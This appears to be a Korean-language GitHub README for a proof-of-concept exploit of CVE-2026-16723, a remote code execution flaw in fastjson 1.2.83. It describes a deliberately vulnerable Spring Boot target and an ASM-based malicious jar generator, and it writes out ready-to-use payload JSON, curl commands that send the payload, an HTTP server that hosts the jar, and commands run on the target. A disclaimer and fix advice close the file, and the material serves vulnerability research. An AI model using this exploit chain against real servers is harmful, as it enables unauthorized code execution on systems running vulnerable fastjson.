
취약한 Spring Boot 대상에 대해 HTTP 또는 파일 프로토콜 jar 체인을 사용하는 ASM 기반 페이로드 생성기로 fastjson 1.2.83 @JSONType RCE를 재현합니다.
<div align="center">
# 🚨 CVE-2026-16723 — fastjson 1.2.83 `@JSONType` 리소스 탐지 체인 RCE





*fastjson 1.2.66 ~ 1.2.83에서 `@JSONType` 애너테이션 + 불법 클래스명 + `jar:` 프로토콜을 통한 원격 클래스 로딩 / 명령 실행 재현 프로젝트입니다.*
</div>
> ⚠️ **면책 조항**
>
> 이 프로젝트는 **보안 연구, 취약점 재현 및 승인된 테스트** 목적으로만 제공됩니다. 승인되지 않은 시스템, 불법 공격 또는 악의적인 용도로 사용하는 것을 엄격히 금지합니다.
> 사용자는 자신의 행동에 대해 전적인 책임을 지며, 작성자는 어떠한 오용 행위에 대해서도 법적 책임을 지지 않습니다.
---
취약점 분석 문서 참고: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
---
##
## 📖 프로젝트 소개
이 프로젝트는 **CVE-2026-16723**을 중심으로 완전한 fastjson 1.2.83 취약점 재현 환경을 구축합니다.
- `demo/` —— 취약점이 존재하는 Spring Boot 2.7.18 웹 애플리케이션(fastjson 1.2.83 의존), 외부에 `POST /parse` 엔드포인트를 노출하며 `JSON.parse(json)`을 직접 호출합니다.
- `exp/` —— **ASM** 기반 악성 프로브 jar 생성기(HTTP 프로토콜 / FILE 프로토콜 두 가지 형태)
- `环境/` —— 사전 컴파일된 세 가지 미들웨어 FatJar(Tomcat / Jetty / Undertow), 바로 사용 가능합니다.
이용 핵심 아이디어: `@type`이 **jar URL**인 특수 JSON을 구성하여 fastjson이 다음 경로를 따르게 합니다.
`@JSONType` 애너테이션 신뢰 분기 → `getResourceAsStream`으로 원격/로컬 jar 다운로드 →
`defineClass`로 악성 클래스 로딩 → 클래스 초기화 시 `<clinit>` 트리거 → **임의 명령 실행(RCE)**.
---
## 🎯 취약점 개요
| 항목 | 내용 |
|------|------|
| CVE | CVE-2026-16723 |
| 컴포넌트 | Alibaba fastjson |
| 영향 버전 | 1.2.66 ~ 1.2.83 (1.x의 마지막 버전도 영향 받음) |
| 취약점 유형 | 역직렬화 원격 코드 실행(RCE) |
| 트리거 진입점 | `JSON.parse(json)` / `JSON.parseObject(json)` (구체적인 타입 지정 안 함) |
| 전제 조건 | 대상이 Spring Boot FatJar, JDK 8, safeMode 비활성화 |
### 이용 조건
1. **대상 코드**: `JSON.parse(json)` 또는 `JSON.parseObject(json)`으로 신뢰할 수 없는 입력을 직접 파싱하고, fastjson 버전이 `1.2.66 ~ 1.2.83`이며 `safeMode`가 비활성화된 경우
2. **대상 실행 형태**: Spring Boot **FatJar**(`java -jar`로 시작, `LaunchedURLClassLoader`, Spring Boot ≤ 2.7에서만 `jar:` 프로토콜 Handler 폴백 기능 유지)
3. **대상 JVM**: **JDK 8**(JDK 9+에서는 `defineClass`가 `ClassFormatError`를 발생시켜 최대 SSRF만 가능)
4. **네트워크 도달 가능**: 대상이 공격자의 HTTP 포트에 접근 가능(HTTP 프로토콜 체인)하거나 로컬 jar 파일을 읽을 수 있는 경우(FILE 프로토콜 체인)
---
## 🧩 취약점 원리
fastjson의 `checkAutoType`은 `@JSONType` 애너테이션이 있는 클래스를 만나면 **신뢰 분기**로 진입하여 대부분의 블랙리스트 검증을 건너뛰고 로딩을 허용합니다. 이 프로젝트는 이 점을 이용해 **ASM으로 바이트코드를 직접 작성**하여 [불법 내부 클래스명]을 class 상수 풀의 `this_class`에 기록하고 세 곳의 이름을 완벽하게 일치시킵니다.
```
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
```
악성 클래스 구조:
1. **`@JSONType` 애너테이션** — fastjson `checkAutoType` 신뢰 분기를 여는 열쇠
2. **기본 생성자 `<init>()V`** — fastjson이 정상적으로 인스턴스화할 수 있도록 보장
3. **`<clinit>` 정적 초기화 블록** — 클래스 로딩 초기화 시 `Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"})`를 실행하여 명령 실행 구현
> 불법 클래스명은 `javac`로는 작성할 수 없으며 ASM만이 URL을 상수 풀에 직접 기록할 수 있습니다. — 이것이 이 프로젝트의 생성기가 `asm-9.6.jar`에 의존하는 이유입니다.
---
## 📁 프로젝트 구조
```
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
```
### 타깃 환경 인터페이스
`demo/src/main/java/com/example/demo/controller/VulController.java`:
```java
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
```
---
## 🚀 빠른 시작
### 1. 취약점 타깃 환경 시작
> 타깃 환경은 **JDK 8**에서 실행해야 합니다(이용 조건과 동일).
```bash
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
```
시작 후 인터페이스 주소: `http://127.0.0.1:8080/parse`
---
## 💥 취약점 이용
### 방법 1: HTTP 프로토콜 체인(jar:http,권장)
#### ① 생성기 컴파일
```bash
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
```
#### ② 악성 프로브 jar 생성
```bash
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
```
- `19090` — 악성 jar의 HTTP 호스팅 포트
- `open -a Calculator` — 대상 머신에서 실행할 명령(macOS 계산기 실행; Linux는 `id > /tmp/pwned 2>&1`을 사용하여 파일 존재 여부 확인)
기본적으로 확장자가 없는 파일 `x`를 생성하며 내부에 `y.class`가 포함되고 payload는 다음과 같습니다.
```json
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
```
#### ③ 악성 jar 호스팅(HTTP 서비스)
```bash
python3 -m http.server 19090
```
> `python3 -m http.server`를 `x` 파일이 생성된 디렉터리에서 시작해야 합니다.
#### ④ 대상에 payload 전송
```bash
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
```
#### ⑤ 검증
명령 실행 결과는 HTTP 응답에 **표시되지 않으므로** 대상 머신에서 확인해야 합니다.
```bash
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
```
---
### 방법 2: FILE 프로토콜 체인(jar:file)
적용 시나리오: 대상이 공격자의 HTTP 포트에 **접근할 수 없는 경우**(내부망 격리 / 외부 통신 제한)이지만 jar 파일을 대상 머신의 파일 시스템에 배치할 수 있는 경우.
#### ① 생성기 컴파일
```bash
cd exp
javac -cp asm-9.6.jar GenProbefile.java
```
#### ② 대상의 해당 디렉터리에 프로브 jar 생성
```bash
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
```
생성기는 **현재 디렉터리**를 기준으로 `jar:file:` URL을 계산합니다(디렉터리 구분자 `/`는 `.`으로 대체됨). 예를 들어 `/tmp/project/exp`에서 생성하면 payload는 다음과 같습니다.
```json
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
```
#### ③ 생성된 jar를 대상 머신의 해당 디렉터리에 배치
생성된 파일 `y`를 대상 머신의 `@type`에 해당하는 절대 경로(예: `/tmp/project/exp/y`)에 업로드/복사하고 디렉터리 구조를 동일하게 유지합니다.
#### ④ 대상에 payload 전송
```bash
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
```
> 주의: FILE 프로토콜 체인의 경로는 대상 머신의 실제 파일 경로와 **완전히 일치**해야 합니다. 그렇지 않으면 리소스 탐지가 실패하여 로딩을 트리거할 수 없습니다.
---
## ⚙️ 생성기 매개변수 설명
### GenProbeHttp(HTTP 프로토콜 체인)
| 매개변수 | 기본값 | 설명 |
|------|--------|------|
| `port` | `19090` | 악성 jar 호스팅 포트 |
| `cmd` | `id > /tmp/pwned 2>&1` | 대상 머신에서 실행할 명령 |
| `hostToken` | `2130706433` | 대상이 접근하는 IP의 정수 형태(`127.0.0.1`) |
| `entry` | `y` | jar 내 class 항목명 |
| `outFile` | `x` | 생성된 jar 파일명(확장자 없음) |
### GenProbefile(FILE 프로토콜 체인)
| 매개변수 | 기본값 | 설명 |
|------|--------|------|
| `port` | `19090` | 예약 매개변수(FILE 체인은 포트를 사용하지 않음) |
| `cmd` | `id > /tmp/pwned 2>&1` | 대상 머신에서 실행할 명령 |
| `dir` | 현재 디렉터리 | 대상 머신에서 jar의 디렉터리(`jar:file:` URL 생성용) |
| `entry` | `x` | jar 내 class 항목명 |
| `outFile` | `y` | 생성된 jar 파일명(확장자 없음) |
### IP 정수 형태 변환
`2130706433`은 `127.0.0.1`의 부호 없는 32비트 정수로, 정수로 작성하면 IP의 `.`이 fastjson의 `.` → `/` 대체 로직에 의해 손상되는 것을 방지할 수 있습니다. 공격 머신이 로컬이 아닌 경우:
```bash
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
```
---
## 🔍 자주 묻는 질문
### `autoType is not support. jar:http:...` 오류 발생
jar를 다운로드할 수 있지만(SSRF 성립) `TypeUtils.loadClass`가 `null`을 반환한다는 의미입니다. 원인은 거의 두 가지뿐입니다.
1. **악성 클래스에 `@JSONType` 애너테이션이 없음** — 탐지가 신뢰 분기를 통과하지 못하여 `loadClass`에 진입조차 하지 못함
2. **악성 클래스의 내부 클래스명이 `@type`과 일치하지 않음** — `defineClass`에서 클래스명이 실제와 일치하지 않아 로딩 실패
이 프로젝트의 생성기는 `@JSONType` 애너테이션 + 세 곳의 이름 정렬로 이 두 가지를 동시에 해결했습니다.
### 단일 jar:http 전송으로도 RCE가 되지 않는 경우?
대상 ClassLoader가 `LaunchedURLClassLoader`가 아닌 경우(예: IDE에서 직접 Run, 일반 war 패키지, Spring Boot 3.x), 단일 `jar:http` 체인으로는 RCE가 불가능하며 최대 SSRF 검증만 가능합니다.
### 왜 JDK 8이 필요한가요?
JDK 9+의 `defineClass`는 불법 클래스명 검증이 더 엄격하여 `ClassFormatError`를 발생시키며 체인이 로딩 단계에서 끊깁니다.
---
## 🛡 수정 권장 사항
1. **컴포넌트 업그레이드**: fastjson 1.x는 유지보수가 중단되었으므로 **fastjson2**로 마이그레이션(또는 수정된 버전으로 업그레이드)하고 공식 보안 공지를 확인하세요.
2. **safeMode 활성화**: `ParserConfig.getGlobalInstance().setSafeMode(true);`로 autoType을 완전히 비활성화할 수 있습니다.
3. **신뢰할 수 없는 입력 파싱 방지**: 사용자 입력에 대해 `JSON.parse(json)` / `JSON.parseObject(json)`을 직접 호출하지 말고, 가능하면 `JSON.parseObject(json, Xxx.class)`를 사용하여 대상 타입을 명시적으로 지정하세요.
4. **블랙/화이트리스트 사용**: `ParserConfig.addAccept(...)`를 통해 신뢰할 수 있는 클래스만 허용하세요.
5. **Spring Boot / JDK 업그레이드**: 더 높은 버전의 JDK와 Spring Boot를 사용하면 공격 표면을 줄일 수 있습니다.
6. **노출 최소화**: 인터넷에 노출된 인터페이스에 인증을 적용하고 WAF로 의심스러운 `@type` 페이로드를 차단하세요.
---
## 📚 참고 자료
- fastjson 공식 GitHub: https://github.com/alibaba/fastjson
- fastjson 보안 공지 / 취약점 정보: https://github.com/alibaba/fastjson/wiki/security_update_guidance
---
<div align="center">
이 프로젝트가 도움이 되었다면 ⭐ Star로 보안 연구와 취약점 문서화를 지원해 주세요.
**⚠️ 승인된 테스트에만 사용하고 절대 불법적인 용도로 사용하지 마세요!**
</div>